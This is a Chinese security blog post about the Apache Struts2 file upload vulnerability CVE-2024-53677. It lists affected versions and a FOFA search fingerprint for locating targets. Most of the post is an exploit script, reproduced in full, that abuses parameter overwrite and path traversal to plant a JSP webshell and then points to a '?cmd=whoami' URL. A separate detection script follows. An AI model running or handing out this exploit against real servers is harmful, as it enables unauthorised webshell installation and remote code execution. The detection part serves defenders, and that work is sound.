新高危漏洞 (附在野POC)| Struts2任意文件上传漏洞(CVE-2024-53677)

新高危漏洞 (附在野POC)| Struts2任意文件上传漏洞(CVE-2024-53677)

原创 4° 励行安全 2024-12-19 08:02

一、漏洞简介

该漏洞存在于 Apache Struts 的文件上传机制中。攻击者可以通过操纵文件上传参数来利用该漏洞,从而实现路径遍历、绕过安全机制将文件上传到服务器中的任意位置,或者通过上传和触发可执行文件(如.jsp脚本或二进制有效负载)来执行恶意代码。

二、影响版本
– Struts 2.0.0 – Struts 2.3.37(已终止使用)
– Struts 2.5.0 – Struts 2.5.33
– Struts 6.0.0 – Struts 6.3.0.2
fofa指纹:app=”Struts2″

三、在野POC

https://github.com/TAM-K592/CVE-2024-53677-S2-067

#S2-067.py
import requests
import argparse
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import os
def upload_file(target_url, upload_endpoint, webshell_path, destination_path, allowed_types=None, allowed_extensions=None, simulate_i18n=False):
    """
    Upload a file to the target using parameter overwrite and path traversal.
    """
    upload_url = urljoin(target_url, upload_endpoint)
    print(f"[INFO] Uploading file to {upload_url}...")
    headers = {"User-Agent": "Mozilla/5.0"}
    with open(webshell_path, "rb") as f:
        webshell_content = f.read()
    files_payload = {
        "upload": (os.path.basename(webshell_path), webshell_content, "application/octet-stream"),
        "uploadFileName": destination_path
    }
    if simulate_i18n:
        simulate_i18n_errors()
    # Simulate MIME type and extension restrictions
    if allowed_types:
        headers["Content-Type"] = allowed_types
    if allowed_extensions and not destination_path.endswith(tuple(allowed_extensions)):
        print(f"[WARNING] File extension {destination_path.split('.')[-1]} might not be allowed.")
    try:
        m = MultipartEncoder(fields=files_payload, boundary='----WebKitFormBoundary' + ''.join(random.choices("abcdefghijklmnopqrstuvwxyz1234567890", k=16)))
        headers["Content-Type"] = m.content_type
        response = requests.post(upload_url, headers=headers, data=m, timeout=10)
        if response.status_code == 200:
            print(f"[SUCCESS] File uploaded successfully: {destination_path}")
            verify_uploaded_file(target_url, destination_path)
        else:
            print(f"[ERROR] Upload failed. HTTP {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Request failed: {e}")
def verify_uploaded_file(target_url, file_path):
    """Verify if the uploaded file is accessible."""
    file_url = urljoin(target_url, file_path)
    print(f"[INFO] Verifying uploaded file: {file_url}")
    try:
        response = requests.get(file_url, timeout=10)
        if response.status_code == 200:
            print(f"[ALERT] File uploaded and accessible: {file_url}?cmd=whoami")
        else:
            print(f"[INFO] File not accessible. HTTP Status: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Verification failed: {e}")
def simulate_i18n_errors():
    """Simulate i18n file error handling scenarios."""
    errors = {
        "struts.messages.error.uploading": "Error uploading file.",
        "struts.messages.error.file.too.large": "The file size exceeds the maximum limit.",
        "struts.messages.error.content.type.not.allowed": "The file type is not allowed.",
        "struts.messages.error.file.extension.not.allowed": "The file extension is not allowed."
    }
    for key, message in errors.items():
        print(f"[I18N SIMULATION] {key}: {message}")
def predefined_paths():
    """Return a list of common test paths for path traversal."""
    return [
        "../../../../../webapps/ROOT/test.jsp",
        "/tmp/webshell.jsp",
        "/var/www/html/shell.jsp"
    ]
def main():
    parser = argparse.ArgumentParser(description="S2-067 Exploit - Testing Deprecated File Upload Interceptor")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
    parser.add_argument("--upload_endpoint", required=True, help="Path to upload endpoint (e.g., /uploads.action)")
    parser.add_argument("--webshell", required=True, help="Path to WebShell file")
    parser.add_argument("-s", "--single", help="Single target path for testing (e.g., ../../../../../webapps/ROOT/webshell.jsp)")
    parser.add_argument("-d", "--directory", nargs="+", help="Multiple target paths for testing")
    parser.add_argument("-p", "--predefined", action="store_true", help="Use predefined common paths")
    parser.add_argument("--allowed_types", help="Simulated allowed MIME types (e.g., application/octet-stream)")
    parser.add_argument("--allowed_extensions", nargs="+", help="Simulated allowed file extensions (e.g., .jsp, .txt)")
    parser.add_argument("--simulate_i18n", action="store_true", help="Simulate i18n error handling scenarios")
    args = parser.parse_args()
    if args.single:
        upload_file(
            target_url=args.url,
            upload_endpoint=args.upload_endpoint,
            webshell_path=args.webshell,
            destination_path=args.single,
            allowed_types=args.allowed_types,
            allowed_extensions=args.allowed_extensions,
            simulate_i18n=args.simulate_i18n
        )
    elif args.directory:
        for path in args.directory:
            upload_file(
                target_url=args.url,
                upload_endpoint=args.upload_endpoint,
                webshell_path=args.webshell,
                destination_path=path,
                allowed_types=args.allowed_types,
                allowed_extensions=args.allowed_extensions,
                simulate_i18n=args.simulate_i18n
            )
    elif args.predefined:
        for path in predefined_paths():
            upload_file(
                target_url=args.url,
                upload_endpoint=args.upload_endpoint,
                webshell_path=args.webshell,
                destination_path=path,
                allowed_types=args.allowed_types,
                allowed_extensions=args.allowed_extensions,
                simulate_i18n=args.simulate_i18n
            )
    else:
        print("[ERROR] No testing mode selected. Use -s, -d, or -p.")
        parser.print_help()
if __name__ == "__main__":
    main()
#Check-CVE-2024-53677.py
import requests
import argparse
import logging
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler()]
)

def detect_vulnerability(target_url, upload_endpoint):
    """
    Non-destructive detection of CVE-2024-53677.
    """
    logging.info("Starting detection for CVE-2024-53677 (S2-067)...")
    upload_url = urljoin(target_url, upload_endpoint)
    test_filename = "../../vuln_test.txt"
    harmless_content = "S2-067 detection test."

    # Attempt to overwrite file name using OGNL binding
    files = {
        "upload": ("test.txt", harmless_content, "text/plain"),
        "top.uploadFileName": test_filename  # Attempt filename overwrite
    }

    # Custom Content-Type boundary
    boundary = "----WebKitFormBoundary" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": m.content_type
    }

    logging.info(f"Sending test request to upload endpoint: {upload_url}")

    try:
        # Send file upload request
        response = requests.post(upload_url, headers=headers, data=m, timeout=10)

        # Analyze HTTP response
        if response.status_code == 200:
            logging.info("[INFO] File upload request succeeded.")
            if "vuln_test.txt" in response.text:
                logging.warning("[ALERT] File name overwrite detected. Target may be vulnerable!")
            else:
                logging.info("[INFO] Target does not appear vulnerable.")
        elif response.status_code in [403, 401]:
            logging.info("[INFO] Access denied. Ensure proper permissions.")
        else:
            logging.info(f"[INFO] Unexpected HTTP response: {response.status_code}")
    except requests.exceptions.RequestException as e:
        logging.error(f"[ERROR] Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-53677 (S2-067) Non-destructive Detection Tool")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
    parser.add_argument("--upload_endpoint", required=True, help="Path to file upload endpoint (e.g., /upload.action)")
    args = parser.parse_args()

    logging.info("Starting detection process...")
    detect_vulnerability(args.url, args.upload_endpoint)
    logging.info("Detection process completed.")

if __name__ == "__main__":
    main()